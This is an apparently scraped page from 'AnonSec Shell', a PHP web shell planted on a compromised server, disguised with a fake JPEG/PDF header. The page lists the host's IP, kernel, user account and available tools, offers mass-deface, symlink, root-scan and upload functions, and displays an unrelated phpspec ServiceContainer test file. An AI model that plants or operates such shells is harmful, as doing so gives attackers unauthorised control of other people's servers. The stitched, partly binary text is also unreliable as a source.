ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/evidenciarevista/admin/vendor/phpspec/phpspec/spec/PhpSpec/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/evidenciarevista/admin/vendor/phpspec/phpspec/spec/PhpSpec/ServiceContainerSpec.php
<?php

namespace spec\PhpSpec;

use PhpSpec\ObjectBehavior;

class ServiceContainerSpec extends ObjectBehavior
{
    function it_stores_parameters()
    {
        $this->setParam('some_param', 42);
        $this->getParam('some_param')->shouldReturn(42);
    }

    function it_returns_null_value_for_unexisting_parameter()
    {
        $this->getParam('unexisting')->shouldReturn(null);
    }

    function it_returns_custom_default_for_unexisting_parameter_if_provided()
    {
        $this->getParam('unexisting', 42)->shouldReturn(42);
    }

    function it_stores_services($service)
    {
        $this->set('some_service', $service);
        $this->get('some_service')->shouldReturn($service);
    }

    function it_throws_exception_when_trying_to_get_unexisting_service()
    {
        $this->shouldThrow('InvalidArgumentException')->duringGet('unexisting');
    }

    function it_evaluates_factory_function_set_as_service()
    {
        $this->set('random_number', function () { return rand(); });
        $number1 = $this->get('random_number');
        $number2 = $this->get('random_number');

        $number1->shouldBeInteger();
        $number2->shouldBeInteger();

        $number2->shouldNotBe($number1);
    }

    function it_evaluates_factory_function_only_once_for_shared_services()
    {
        $this->setShared('random_number', function () { return rand(); });
        $number1 = $this->get('random_number');
        $number2 = $this->get('random_number');

        $number2->shouldBe($number1);
    }

    function it_provides_a_way_to_retrieve_services_by_prefix($service1, $service2, $service3)
    {
        $this->set('collection1.serv1', $service1);
        $this->set('collection1.serv2', $service2);
        $this->set('collection2.serv3', $service3);

        $this->getByPrefix('collection1')->shouldReturn(array($service1, $service2));
    }

    function it_provides_a_way_to_remove_service_by_key($service)
    {
        $this->set('collection1.some_service', $service);
        $this->remove('collection1.some_service');

        $this->shouldThrow()->duringGet('collection1.some_service');
        $this->getByPrefix('collection1')->shouldHaveCount(0);
    }

    function it_supports_custom_service_configurators()
    {
        $this->addConfigurator(function ($c) {
            $c->setParam('name', 'Jim');
        });
        $this->configure();

        $this->getParam('name')->shouldReturn('Jim');
    }
}

Anon7 - 2022
AnonSec Team